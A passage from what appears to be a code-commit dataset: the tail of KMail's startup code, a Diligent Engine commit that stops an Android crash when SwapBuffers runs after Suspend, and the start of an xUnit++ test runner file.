\"panda@mis.net\" );\n about.addAuthor( \"Jacek Stolarczyk\", 0, \"jacek@mer.chemia.polsl.gliwice.pl\" );\n about.addAuthor( \"Roberto S. Teixeira\", 0, \"maragato@kde.org\" );\n about.addAuthor( \"Ronen Tzur\", 0, \"rtzur@shani.net\" );\n about.addAuthor( \"Mario Weilguni\", 0, \"mweilguni@sime.com\" );\n about.addAuthor( \"Wynn Wilkes\", 0, \"wynnw@calderasystems.com\" );\n about.addAuthor( \"Robert D. Williams\", 0, \"rwilliams@kde.org\" );\n about.addAuthor( \"Markus Wuebben\", 0, \"markus.wuebben@kde.org\" );\n about.addAuthor( \"Thorsten Zachmann\", 0, \"t.zachmann@zagge.de\" );\n about.addAuthor( \"Karl-Heinz Zimmer\", 0, \"khz@kde.org\" );\n\n KCmdLineArgs::init(argc, argv, &about);\n KCmdLineArgs::addCmdLineOptions( kmoptions ); \/\/ Add kmail options\n\n if (!KMailApplication::start())\n return 0;\n\n KMailApplication app;\n KGlobal::locale()->insertCatalogue(\"libkdenetwork\");\n\n KSimpleConfig config(locateLocal(\"appdata\", \"lock\"));\n int oldPid = config.readNumEntry(\"pid\", -1);\n if (oldPid != -1 && kill(oldPid, 0) != -1)\n {\n QString msg = i18n(\"Only one instance of KMail can be run at \"\n \"any one time. It is already running on a different display \"\n \"with PID %1.\").arg(oldPid);\n\n KNotifyClient::userEvent( msg, KNotifyClient::Messagebox,\n KNotifyClient::Error );\n fprintf(stderr, \"*** KMail is already running with PID %d\\n\", oldPid);\n return 1;\n }\n\n config.writeEntry(\"pid\", getpid());\n config.sync();\n\n kapp->dcopClient()->suspend(); \/\/ Don't handle DCOP requests yet\n\n \/\/local, do the init\n KMKernel kmailKernel;\n kmailKernel.init();\n kapp->dcopClient()->setDefaultObject( kmailKernel.objId() );\n\n \/\/ and session management\n kmailKernel.doSessionManagement();\n\n \/\/ any dead letters?\n kmailKernel.recoverDeadLetters();\n\n setSignalHandler(signalHandler);\n\n kapp->dcopClient()->resume(); \/\/ Ok. We are ready for DCOP requests.\n \/\/ Go!\n int ret = kapp->exec();\n\n \/\/ clean up\n kmailKernel.cleanup();\n config.writeEntry(\"pid\", -1);\n config.sync();\n return ret;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2015-2018 Egor Yusov\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF ANY PROPRIETARY RIGHTS.\n *\n * In no event and under no legal theory, whether in tort (including negligence), \n * contract, or otherwise, unless required by applicable law (such as deliberate \n * and grossly negligent acts) or agreed to in writing, shall any Contributor be\n * liable for any damages, including any direct, indirect, special, incidental, \n * or consequential damages of any character arising as a result of this License or \n * out of the use or inability to use the software (including but not limited to damages \n * for loss of goodwill, work stoppage, computer failure or malfunction, or any and \n * all other commercial damages or losses), even if such Contributor has been advised \n * of the possibility of such damages.\n *\/\n\n#include \"pch.h\"\n\n#include \"GLContextAndroid.h\"\n#include \"EngineGLAttribs.h\"\n\n#ifndef EGL_CONTEXT_MINOR_VERSION_KHR\n#define EGL_CONTEXT_MINOR_VERSION_KHR 0x30FB\n#endif\n\n#ifndef EGL_CONTEXT_MAJOR_VERSION_KHR\n#define EGL_CONTEXT_MAJOR_VERSION_KHR EGL_CONTEXT_CLIENT_VERSION\n#endif\n\nnamespace Diligent\n{\n bool GLContext::InitEGLSurface()\n {\n display_ = eglGetDisplay( EGL_DEFAULT_DISPLAY );\n if( display_ == EGL_NO_DISPLAY )\n {\n LOG_ERROR_AND_THROW( \"No EGL display found\" );\n }\n\n auto success = eglInitialize( display_, 0, 0 );\n if( !success )\n {\n LOG_ERROR_AND_THROW( \"Failed to initialise EGL\" );\n }\n\n \/*\n * Here specify the attributes of the desired configuration.\n * Below, we select an EGLConfig with at least 8 bits per color\n * component compatible with on-screen windows\n *\/\n color_size_ = 8;\n depth_size_ = 24;\n const EGLint attribs[] = \n { \n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT, \/\/Request opengl ES2.0\n EGL_SURFACE_TYPE, EGL_WINDOW_BIT, \n \/\/EGL_COLORSPACE, EGL_COLORSPACE_sRGB, \/\/ does not work\n EGL_BLUE_SIZE, color_size_, \n EGL_GREEN_SIZE, color_size_,\n EGL_RED_SIZE, color_size_, \n EGL_ALPHA_SIZE, color_size_,\n EGL_DEPTH_SIZE, depth_size_,\n \/\/EGL_SAMPLE_BUFFERS , 1,\n \/\/EGL_SAMPLES , 4,\n EGL_NONE \n };\n \n \/\/ Get a list of EGL frame buffer configurations that match specified attributes\n EGLint num_configs;\n success = eglChooseConfig( display_, attribs, &config_, 1, &num_configs );\n if( !success )\n {\n LOG_ERROR_AND_THROW( \"Failed to choose config\" );\n }\n\n if( !num_configs )\n {\n \/\/Fall back to 16bit depth buffer\n depth_size_ = 16;\n const EGLint attribs[] = \n { \n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT, \/\/Request opengl ES2.0\n EGL_SURFACE_TYPE, EGL_WINDOW_BIT, \n EGL_BLUE_SIZE, color_size_, \n EGL_GREEN_SIZE, color_size_,\n EGL_RED_SIZE, color_size_,\n EGL_ALPHA_SIZE, color_size_,\n EGL_DEPTH_SIZE, depth_size_, \n EGL_NONE \n };\n success = eglChooseConfig( display_, attribs, &config_, 1, &num_configs );\n if( !success )\n {\n LOG_ERROR_AND_THROW( \"Failed to choose 16-bit depth config\" );\n }\n }\n\n if( !num_configs )\n {\n LOG_ERROR_AND_THROW( \"Unable to retrieve EGL config\" );\n }\n\n LOG_INFO_MESSAGE(\"Chosen EGL config: \", color_size_, \" bit color, \", depth_size_, \" bit depth\");\n\n surface_ = eglCreateWindowSurface( display_, config_, window_, NULL );\n if( surface_ == EGL_NO_SURFACE )\n {\n LOG_ERROR_AND_THROW( \"Failed to create EGLSurface\" );\n }\n\n eglQuerySurface( display_, surface_, EGL_WIDTH, &screen_width_ );\n eglQuerySurface( display_, surface_, EGL_HEIGHT, &screen_height_ );\n\n \/* EGL_NATIVE_VISUAL_ID is an attribute of the EGLConfig that is\n * guaranteed to be accepted by ANativeWindow_setBuffersGeometry().\n * As soon as we picked a EGLConfig, we can safely reconfigure the\n * ANativeWindow buffers to match, using EGL_NATIVE_VISUAL_ID. *\/\n EGLint format;\n eglGetConfigAttrib( display_, config_, EGL_NATIVE_VISUAL_ID, &format );\n ANativeWindow_setBuffersGeometry( window_, 0, 0, format );\n\n return true;\n }\n\n bool GLContext::InitEGLContext()\n {\n major_version_ = 3;\n minor_version_ = 1;\n\n const EGLint context_attribs[] = \n { \n EGL_CONTEXT_CLIENT_VERSION, major_version_,\n EGL_CONTEXT_MINOR_VERSION_KHR, minor_version_,\n EGL_NONE \n };\n\n LOG_INFO_MESSAGE( \"contextAttribs: \", context_attribs[0], ' ', context_attribs[1], '\\n' );\n LOG_INFO_MESSAGE( \"contextAttribs: \", context_attribs[2], ' ', context_attribs[3], '\\n' );\n\n context_ = eglCreateContext( display_, config_, NULL, context_attribs );\n if( context_ == EGL_NO_CONTEXT )\n {\n LOG_ERROR_AND_THROW( \"Failed to create EGLContext\" );\n }\n\n if( eglMakeCurrent( display_, surface_, surface_, context_ ) == EGL_FALSE )\n {\n LOG_ERROR_AND_THROW( \"Unable to eglMakeCurrent\" );\n }\n\n context_valid_ = true;\n return true;\n }\n\n void GLContext::AttachToCurrentEGLContext()\n {\n if( eglGetCurrentContext() == EGL_NO_CONTEXT )\n {\n LOG_ERROR_AND_THROW( \"Failed to attach to EGLContext: no active context\" );\n }\n context_valid_ = true;\n glGetIntegerv( GL_MAJOR_VERSION, &major_version_ );\n glGetIntegerv( GL_MINOR_VERSION, &minor_version_ );\n }\n\n GLContext::NativeGLContextType GLContext::GetCurrentNativeGLContext()\n {\n return eglGetCurrentContext();\n }\n\n void GLContext::InitGLES()\n {\n if( gles_initialized_ )\n return;\n \/\/\n \/\/Initialize OpenGL ES 3 if available\n \/\/\n const char* versionStr = (const char*)glGetString( GL_VERSION );\n LOG_INFO_MESSAGE( \"GL Version: \", versionStr, '\\n' );\n \n LoadGLFunctions();\n\n \/\/ When GL_FRAMEBUFFER_SRGB is enabled, and if the destination image is in the sRGB colorspace\n \/\/ then OpenGL will assume the shader's output is in the linear RGB colorspace. It will therefore \n \/\/ convert the output from linear RGB to sRGB.\n \/\/ Any writes to images that are not in the sRGB format should not be affected.\n \/\/ Thus this setting should be just set once and left that way\n glEnable(GL_FRAMEBUFFER_SRGB);\n if( glGetError() != GL_NO_ERROR )\n LOG_ERROR_MESSAGE(\"Failed to enable SRGB framebuffers\");\n\n gles_initialized_ = true;\n }\n\n bool GLContext::Init( ANativeWindow* window )\n {\n if( egl_context_initialized_ )\n return true;\n\n \/\/\n \/\/Initialize EGL\n \/\/\n window_ = window;\n if (window != nullptr)\n {\n InitEGLSurface();\n InitEGLContext();\n }\n else\n {\n AttachToCurrentEGLContext();\n }\n InitGLES();\n\n egl_context_initialized_ = true;\n\n return true;\n }\n\n GLContext::GLContext( const EngineGLAttribs &InitAttribs, DeviceCaps &DeviceCaps ) :\n display_( EGL_NO_DISPLAY ),\n surface_( EGL_NO_SURFACE ),\n context_( EGL_NO_CONTEXT ),\n egl_context_initialized_( false ),\n gles_initialized_( false ),\n major_version_(0),\n minor_version_(0)\n {\n auto *NativeWindow = reinterpret_cast<ANativeWindow*>(InitAttribs.pNativeWndHandle);\n Init( NativeWindow );\n\n FillDeviceCaps(DeviceCaps);\n#if 0\n \/\/ Creates table of supported extensions strings\n extensions.clear();\n string tmp;\n sint32 begin, end;\n tmp = string( (char*)glGetString( GL_EXTENSIONS ) );\n\n begin = 0;\n end = tmp.find( ' ', 0 );\n\n DEBUG_PRINT( _L( \"Checking Extensions\" ) );\n\n while( end != string::npos )\n {\n DEBUG_PRINT( (_L( \"extension %s\" )), tmp.substr( begin, end - begin ).c_str() );\n extensions.insert( extensions.end(), tmp.substr( begin, end - begin ) );\n begin = end + 1;\n end = tmp.find( ' ', begin );\n }\n\n if( supportExtension( \"GL_INTEL_tessellation\" ) )\n {\n glPatchParameteri = (PFNGLPATCHPARAMETERIPROC)eglGetProcAddress( \"glPatchParameteri\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glPatchParameteri\", (void*)glPatchParameteri );\n glPatchParameterfv = (PFNGLPATCHPARAMETERFVPROC)eglGetProcAddress( \"glPatchParameterfv\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glPatchParameterfv\", (void*)glPatchParameterfv );\n }\n \/\/if(supportExtension(\"GL_INTEL_compute_shader\"))\n {\n glDispatchCompute = (PFNGLDISPATCHCOMPUTEPROC)eglGetProcAddress( \"glDispatchCompute\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glDispatchCompute\", (void*)glDispatchCompute );\n glBindImageTexture = (PFNGLBINDIMAGETEXTUREPROC)eglGetProcAddress( \"glBindImageTexture\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glBindImageTexture\", (void*)glBindImageTexture );\n }\n#endif\n }\n\n GLContext::~GLContext()\n {\n Terminate();\n }\n\n void GLContext::SwapBuffers()\n {\n bool b = eglSwapBuffers( display_, surface_ );\n if( !b )\n {\n EGLint err = eglGetError();\n if( err == EGL_BAD_SURFACE )\n {\n \/\/Recreate surface\n InitEGLSurface();\n \/\/return EGL_SUCCESS; \/\/Still consider glContext is valid\n }\n else if( err == EGL_CONTEXT_LOST || err == EGL_BAD_CONTEXT )\n {\n \/\/Context has been lost!!\n context_valid_ = false;\n Terminate();\n InitEGLContext();\n }\n \/\/return err;\n }\n \/\/return EGL_SUCCESS;\n }\n\n void GLContext::Terminate()\n {\n if( display_ != EGL_NO_DISPLAY )\n {\n eglMakeCurrent( display_, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT );\n if( context_ != EGL_NO_CONTEXT )\n {\n eglDestroyContext( display_, context_ );\n }\n\n if( surface_ != EGL_NO_SURFACE )\n {\n eglDestroySurface( display_, surface_ );\n }\n eglTerminate( display_ );\n }\n\n display_ = EGL_NO_DISPLAY;\n context_ = EGL_NO_CONTEXT;\n surface_ = EGL_NO_SURFACE;\n context_valid_ = false;\n }\n\n\n EGLint GLContext::Resume( ANativeWindow* window )\n {\n if( egl_context_initialized_ == false )\n {\n Init( window );\n return EGL_SUCCESS;\n }\n\n\n \/\/Create surface\n window_ = window;\n surface_ = eglCreateWindowSurface( display_, config_, window_, NULL );\n int32_t new_screen_width = 0;\n int32_t new_screen_height = 0;\n eglQuerySurface( display_, surface_, EGL_WIDTH, &new_screen_width );\n eglQuerySurface( display_, surface_, EGL_HEIGHT, &new_screen_height );\n\n if( new_screen_width != screen_width_ || new_screen_height != screen_height_ )\n {\n \/\/Screen resized\n LOG_INFO_MESSAGE( \"Screen resized\\n\" );\n }\n\n if( eglMakeCurrent( display_, surface_, surface_, context_ ) == EGL_TRUE )\n return EGL_SUCCESS;\n\n EGLint err = eglGetError();\n LOG_WARNING_MESSAGE( \"Unable to eglMakeCurrent \", err, '\\n' );\n\n if( err == EGL_CONTEXT_LOST )\n {\n \/\/Recreate context\n LOG_INFO_MESSAGE( \"Re-creating egl context\\n\" );\n InitEGLContext();\n }\n else\n {\n \/\/Recreate surface\n Terminate();\n InitEGLSurface();\n InitEGLContext();\n }\n\n return err;\n\n }\n\n void GLContext::Suspend()\n {\n if( surface_ != EGL_NO_SURFACE )\n {\n eglDestroySurface( display_, surface_ );\n surface_ = EGL_NO_SURFACE;\n }\n }\n\n bool GLContext::Invalidate()\n {\n Terminate();\n\n egl_context_initialized_ = false;\n return true;\n }\n\n void GLContext::FillDeviceCaps( DeviceCaps &DeviceCaps )\n {\n DeviceCaps.DevType = DeviceType::OpenGLES;\n DeviceCaps.MajorVersion = major_version_;\n DeviceCaps.MinorVersion = minor_version_;\n bool IsGLES31OrAbove = (major_version_ >= 4 || (major_version_ == 3 && minor_version_ >= 1) );\n DeviceCaps.bSeparableProgramSupported = IsGLES31OrAbove;\n DeviceCaps.bIndirectRenderingSupported = IsGLES31OrAbove;\n\n auto &SamCaps = DeviceCaps.SamCaps;\n SamCaps.bBorderSamplingModeSupported = GL_TEXTURE_BORDER_COLOR && IsGLES31OrAbove;\n SamCaps.bAnisotropicFilteringSupported = GL_TEXTURE_MAX_ANISOTROPY_EXT && IsGLES31OrAbove;\n SamCaps.bLODBiasSupported = GL_TEXTURE_LOD_BIAS && IsGLES31OrAbove;\n\n auto &TexCaps = DeviceCaps.TexCaps;\n TexCaps.bTexture1DSupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bTexture1DArraySupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bTexture2DMSSupported = IsGLES31OrAbove;\n TexCaps.bTexture2DMSArraySupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bTextureViewSupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bCubemapArraysSupported = False; \/\/ Not supported in GLES 3.1\n DeviceCaps.bMultithreadedResourceCreationSupported = False;\n }\n}\n<commit_msg>Fixed Android crash when SwapBuffers() is called after Suspend()<commit_after>\/* Copyright 2015-2018 Egor Yusov\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF ANY PROPRIETARY RIGHTS.\n *\n * In no event and under no legal theory, whether in tort (including negligence), \n * contract, or otherwise, unless required by applicable law (such as deliberate \n * and grossly negligent acts) or agreed to in writing, shall any Contributor be\n * liable for any damages, including any direct, indirect, special, incidental, \n * or consequential damages of any character arising as a result of this License or \n * out of the use or inability to use the software (including but not limited to damages \n * for loss of goodwill, work stoppage, computer failure or malfunction, or any and \n * all other commercial damages or losses), even if such Contributor has been advised \n * of the possibility of such damages.\n *\/\n\n#include \"pch.h\"\n\n#include \"GLContextAndroid.h\"\n#include \"EngineGLAttribs.h\"\n\n#ifndef EGL_CONTEXT_MINOR_VERSION_KHR\n#define EGL_CONTEXT_MINOR_VERSION_KHR 0x30FB\n#endif\n\n#ifndef EGL_CONTEXT_MAJOR_VERSION_KHR\n#define EGL_CONTEXT_MAJOR_VERSION_KHR EGL_CONTEXT_CLIENT_VERSION\n#endif\n\nnamespace Diligent\n{\n bool GLContext::InitEGLSurface()\n {\n display_ = eglGetDisplay( EGL_DEFAULT_DISPLAY );\n if( display_ == EGL_NO_DISPLAY )\n {\n LOG_ERROR_AND_THROW( \"No EGL display found\" );\n }\n\n auto success = eglInitialize( display_, 0, 0 );\n if( !success )\n {\n LOG_ERROR_AND_THROW( \"Failed to initialise EGL\" );\n }\n\n \/*\n * Here specify the attributes of the desired configuration.\n * Below, we select an EGLConfig with at least 8 bits per color\n * component compatible with on-screen windows\n *\/\n color_size_ = 8;\n depth_size_ = 24;\n const EGLint attribs[] = \n { \n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT, \/\/Request opengl ES2.0\n EGL_SURFACE_TYPE, EGL_WINDOW_BIT, \n \/\/EGL_COLORSPACE, EGL_COLORSPACE_sRGB, \/\/ does not work\n EGL_BLUE_SIZE, color_size_, \n EGL_GREEN_SIZE, color_size_,\n EGL_RED_SIZE, color_size_, \n EGL_ALPHA_SIZE, color_size_,\n EGL_DEPTH_SIZE, depth_size_,\n \/\/EGL_SAMPLE_BUFFERS , 1,\n \/\/EGL_SAMPLES , 4,\n EGL_NONE \n };\n \n \/\/ Get a list of EGL frame buffer configurations that match specified attributes\n EGLint num_configs;\n success = eglChooseConfig( display_, attribs, &config_, 1, &num_configs );\n if( !success )\n {\n LOG_ERROR_AND_THROW( \"Failed to choose config\" );\n }\n\n if( !num_configs )\n {\n \/\/Fall back to 16bit depth buffer\n depth_size_ = 16;\n const EGLint attribs[] = \n { \n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT, \/\/Request opengl ES2.0\n EGL_SURFACE_TYPE, EGL_WINDOW_BIT, \n EGL_BLUE_SIZE, color_size_, \n EGL_GREEN_SIZE, color_size_,\n EGL_RED_SIZE, color_size_,\n EGL_ALPHA_SIZE, color_size_,\n EGL_DEPTH_SIZE, depth_size_, \n EGL_NONE \n };\n success = eglChooseConfig( display_, attribs, &config_, 1, &num_configs );\n if( !success )\n {\n LOG_ERROR_AND_THROW( \"Failed to choose 16-bit depth config\" );\n }\n }\n\n if( !num_configs )\n {\n LOG_ERROR_AND_THROW( \"Unable to retrieve EGL config\" );\n }\n\n LOG_INFO_MESSAGE(\"Chosen EGL config: \", color_size_, \" bit color, \", depth_size_, \" bit depth\");\n\n surface_ = eglCreateWindowSurface( display_, config_, window_, NULL );\n if( surface_ == EGL_NO_SURFACE )\n {\n LOG_ERROR_AND_THROW( \"Failed to create EGLSurface\" );\n }\n\n eglQuerySurface( display_, surface_, EGL_WIDTH, &screen_width_ );\n eglQuerySurface( display_, surface_, EGL_HEIGHT, &screen_height_ );\n\n \/* EGL_NATIVE_VISUAL_ID is an attribute of the EGLConfig that is\n * guaranteed to be accepted by ANativeWindow_setBuffersGeometry().\n * As soon as we picked a EGLConfig, we can safely reconfigure the\n * ANativeWindow buffers to match, using EGL_NATIVE_VISUAL_ID. *\/\n EGLint format;\n eglGetConfigAttrib( display_, config_, EGL_NATIVE_VISUAL_ID, &format );\n ANativeWindow_setBuffersGeometry( window_, 0, 0, format );\n\n return true;\n }\n\n bool GLContext::InitEGLContext()\n {\n major_version_ = 3;\n minor_version_ = 1;\n\n const EGLint context_attribs[] = \n { \n EGL_CONTEXT_CLIENT_VERSION, major_version_,\n EGL_CONTEXT_MINOR_VERSION_KHR, minor_version_,\n EGL_NONE \n };\n\n LOG_INFO_MESSAGE( \"contextAttribs: \", context_attribs[0], ' ', context_attribs[1], '\\n' );\n LOG_INFO_MESSAGE( \"contextAttribs: \", context_attribs[2], ' ', context_attribs[3], '\\n' );\n\n context_ = eglCreateContext( display_, config_, NULL, context_attribs );\n if( context_ == EGL_NO_CONTEXT )\n {\n LOG_ERROR_AND_THROW( \"Failed to create EGLContext\" );\n }\n\n if( eglMakeCurrent( display_, surface_, surface_, context_ ) == EGL_FALSE )\n {\n LOG_ERROR_AND_THROW( \"Unable to eglMakeCurrent\" );\n }\n\n context_valid_ = true;\n return true;\n }\n\n void GLContext::AttachToCurrentEGLContext()\n {\n if( eglGetCurrentContext() == EGL_NO_CONTEXT )\n {\n LOG_ERROR_AND_THROW( \"Failed to attach to EGLContext: no active context\" );\n }\n context_valid_ = true;\n glGetIntegerv( GL_MAJOR_VERSION, &major_version_ );\n glGetIntegerv( GL_MINOR_VERSION, &minor_version_ );\n }\n\n GLContext::NativeGLContextType GLContext::GetCurrentNativeGLContext()\n {\n return eglGetCurrentContext();\n }\n\n void GLContext::InitGLES()\n {\n if( gles_initialized_ )\n return;\n \/\/\n \/\/Initialize OpenGL ES 3 if available\n \/\/\n const char* versionStr = (const char*)glGetString( GL_VERSION );\n LOG_INFO_MESSAGE( \"GL Version: \", versionStr, '\\n' );\n \n LoadGLFunctions();\n\n \/\/ When GL_FRAMEBUFFER_SRGB is enabled, and if the destination image is in the sRGB colorspace\n \/\/ then OpenGL will assume the shader's output is in the linear RGB colorspace. It will therefore \n \/\/ convert the output from linear RGB to sRGB.\n \/\/ Any writes to images that are not in the sRGB format should not be affected.\n \/\/ Thus this setting should be just set once and left that way\n glEnable(GL_FRAMEBUFFER_SRGB);\n if( glGetError() != GL_NO_ERROR )\n LOG_ERROR_MESSAGE(\"Failed to enable SRGB framebuffers\");\n\n gles_initialized_ = true;\n }\n\n bool GLContext::Init( ANativeWindow* window )\n {\n if( egl_context_initialized_ )\n return true;\n\n \/\/\n \/\/Initialize EGL\n \/\/\n window_ = window;\n if (window != nullptr)\n {\n InitEGLSurface();\n InitEGLContext();\n }\n else\n {\n AttachToCurrentEGLContext();\n }\n InitGLES();\n\n egl_context_initialized_ = true;\n\n return true;\n }\n\n GLContext::GLContext( const EngineGLAttribs &InitAttribs, DeviceCaps &DeviceCaps ) :\n display_( EGL_NO_DISPLAY ),\n surface_( EGL_NO_SURFACE ),\n context_( EGL_NO_CONTEXT ),\n egl_context_initialized_( false ),\n gles_initialized_( false ),\n major_version_(0),\n minor_version_(0)\n {\n auto *NativeWindow = reinterpret_cast<ANativeWindow*>(InitAttribs.pNativeWndHandle);\n Init( NativeWindow );\n\n FillDeviceCaps(DeviceCaps);\n#if 0\n \/\/ Creates table of supported extensions strings\n extensions.clear();\n string tmp;\n sint32 begin, end;\n tmp = string( (char*)glGetString( GL_EXTENSIONS ) );\n\n begin = 0;\n end = tmp.find( ' ', 0 );\n\n DEBUG_PRINT( _L( \"Checking Extensions\" ) );\n\n while( end != string::npos )\n {\n DEBUG_PRINT( (_L( \"extension %s\" )), tmp.substr( begin, end - begin ).c_str() );\n extensions.insert( extensions.end(), tmp.substr( begin, end - begin ) );\n begin = end + 1;\n end = tmp.find( ' ', begin );\n }\n\n if( supportExtension( \"GL_INTEL_tessellation\" ) )\n {\n glPatchParameteri = (PFNGLPATCHPARAMETERIPROC)eglGetProcAddress( \"glPatchParameteri\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glPatchParameteri\", (void*)glPatchParameteri );\n glPatchParameterfv = (PFNGLPATCHPARAMETERFVPROC)eglGetProcAddress( \"glPatchParameterfv\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glPatchParameterfv\", (void*)glPatchParameterfv );\n }\n \/\/if(supportExtension(\"GL_INTEL_compute_shader\"))\n {\n glDispatchCompute = (PFNGLDISPATCHCOMPUTEPROC)eglGetProcAddress( \"glDispatchCompute\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glDispatchCompute\", (void*)glDispatchCompute );\n glBindImageTexture = (PFNGLBINDIMAGETEXTUREPROC)eglGetProcAddress( \"glBindImageTexture\" );\n DEBUG_PRINT( _L( \"%s = %p\" ), \"glBindImageTexture\", (void*)glBindImageTexture );\n }\n#endif\n }\n\n GLContext::~GLContext()\n {\n Terminate();\n }\n\n void GLContext::SwapBuffers()\n {\n if(surface_ == EGL_NO_SURFACE)\n {\n LOG_WARNING_MESSAGE(\"No EGL surface when swapping buffers. This happens when SwapBuffers() is called after Suspend(). The operation will be ignored.\");\n return;\n }\n\n bool b = eglSwapBuffers( display_, surface_ );\n if( !b )\n {\n EGLint err = eglGetError();\n if( err == EGL_BAD_SURFACE )\n {\n LOG_INFO_MESSAGE(\"EGL surface has been lost. Attempting to recreate\");\n InitEGLSurface();\n \/\/return EGL_SUCCESS; \/\/Still consider glContext is valid\n }\n else if( err == EGL_CONTEXT_LOST || err == EGL_BAD_CONTEXT )\n {\n \/\/Context has been lost!!\n context_valid_ = false;\n Terminate();\n InitEGLContext();\n }\n \/\/return err;\n }\n \/\/return EGL_SUCCESS;\n }\n\n void GLContext::Terminate()\n {\n if( display_ != EGL_NO_DISPLAY )\n {\n eglMakeCurrent( display_, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT );\n if( context_ != EGL_NO_CONTEXT )\n {\n eglDestroyContext( display_, context_ );\n }\n\n if( surface_ != EGL_NO_SURFACE )\n {\n eglDestroySurface( display_, surface_ );\n }\n eglTerminate( display_ );\n }\n\n display_ = EGL_NO_DISPLAY;\n context_ = EGL_NO_CONTEXT;\n surface_ = EGL_NO_SURFACE;\n context_valid_ = false;\n }\n\n\n EGLint GLContext::Resume( ANativeWindow* window )\n {\n LOG_INFO_MESSAGE( \"Resuming gl context\\n\" );\n\n if( egl_context_initialized_ == false )\n {\n Init( window );\n return EGL_SUCCESS;\n }\n\n \/\/Create surface\n window_ = window;\n surface_ = eglCreateWindowSurface( display_, config_, window_, NULL );\n int32_t new_screen_width = 0;\n int32_t new_screen_height = 0;\n eglQuerySurface( display_, surface_, EGL_WIDTH, &new_screen_width );\n eglQuerySurface( display_, surface_, EGL_HEIGHT, &new_screen_height );\n\n if( new_screen_width != screen_width_ || new_screen_height != screen_height_ )\n {\n \/\/Screen resized\n LOG_INFO_MESSAGE( \"Screen resized\\n\" );\n }\n\n if( eglMakeCurrent( display_, surface_, surface_, context_ ) == EGL_TRUE )\n return EGL_SUCCESS;\n\n EGLint err = eglGetError();\n LOG_WARNING_MESSAGE( \"Unable to eglMakeCurrent \", err, '\\n' );\n\n if( err == EGL_CONTEXT_LOST )\n {\n \/\/Recreate context\n LOG_INFO_MESSAGE( \"Re-creating egl context\\n\" );\n InitEGLContext();\n }\n else\n {\n \/\/Recreate surface\n LOG_INFO_MESSAGE( \"Re-creating egl context and surface\\n\" );\n Terminate();\n InitEGLSurface();\n InitEGLContext();\n }\n\n return err;\n }\n\n void GLContext::Suspend()\n {\n LOG_INFO_MESSAGE( \"Suspending gl context\\n\" );\n if( surface_ != EGL_NO_SURFACE )\n {\n LOG_INFO_MESSAGE( \"Destroying egl surface\\n\" );\n eglDestroySurface( display_, surface_ );\n surface_ = EGL_NO_SURFACE;\n }\n }\n\n bool GLContext::Invalidate()\n {\n LOG_INFO_MESSAGE( \"Invalidating gl context\\n\" );\n Terminate();\n\n egl_context_initialized_ = false;\n return true;\n }\n\n void GLContext::FillDeviceCaps( DeviceCaps &DeviceCaps )\n {\n DeviceCaps.DevType = DeviceType::OpenGLES;\n DeviceCaps.MajorVersion = major_version_;\n DeviceCaps.MinorVersion = minor_version_;\n bool IsGLES31OrAbove = (major_version_ >= 4 || (major_version_ == 3 && minor_version_ >= 1) );\n DeviceCaps.bSeparableProgramSupported = IsGLES31OrAbove;\n DeviceCaps.bIndirectRenderingSupported = IsGLES31OrAbove;\n\n auto &SamCaps = DeviceCaps.SamCaps;\n SamCaps.bBorderSamplingModeSupported = GL_TEXTURE_BORDER_COLOR && IsGLES31OrAbove;\n SamCaps.bAnisotropicFilteringSupported = GL_TEXTURE_MAX_ANISOTROPY_EXT && IsGLES31OrAbove;\n SamCaps.bLODBiasSupported = GL_TEXTURE_LOD_BIAS && IsGLES31OrAbove;\n\n auto &TexCaps = DeviceCaps.TexCaps;\n TexCaps.bTexture1DSupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bTexture1DArraySupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bTexture2DMSSupported = IsGLES31OrAbove;\n TexCaps.bTexture2DMSArraySupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bTextureViewSupported = False; \/\/ Not supported in GLES 3.1\n TexCaps.bCubemapArraysSupported = False; \/\/ Not supported in GLES 3.1\n DeviceCaps.bMultithreadedResourceCreationSupported = False;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"TestRunner.h\"\r\n#include <atomic>\r\n#include <future>\r\n#include <limits>\r\n#include <mutex>\r\n#include <random>\r\n#include <vector>\r\n#include \"DefaultReporter.h\"\r\n#include \"Fact.h\"\r\n#include \"TestCollection.h\"\r\n#include \"TestDetails.h\"\r\n#include \"xUnitAssert.h\"\r\n\r\nnamespace\r\n{\r\n\r\nclass ActiveTests\r\n{\r\npublic:\r\n struct TestInstance\r\n {\r\n TestInstance(const xUnitpp::TestDetails &testDetails, int id, 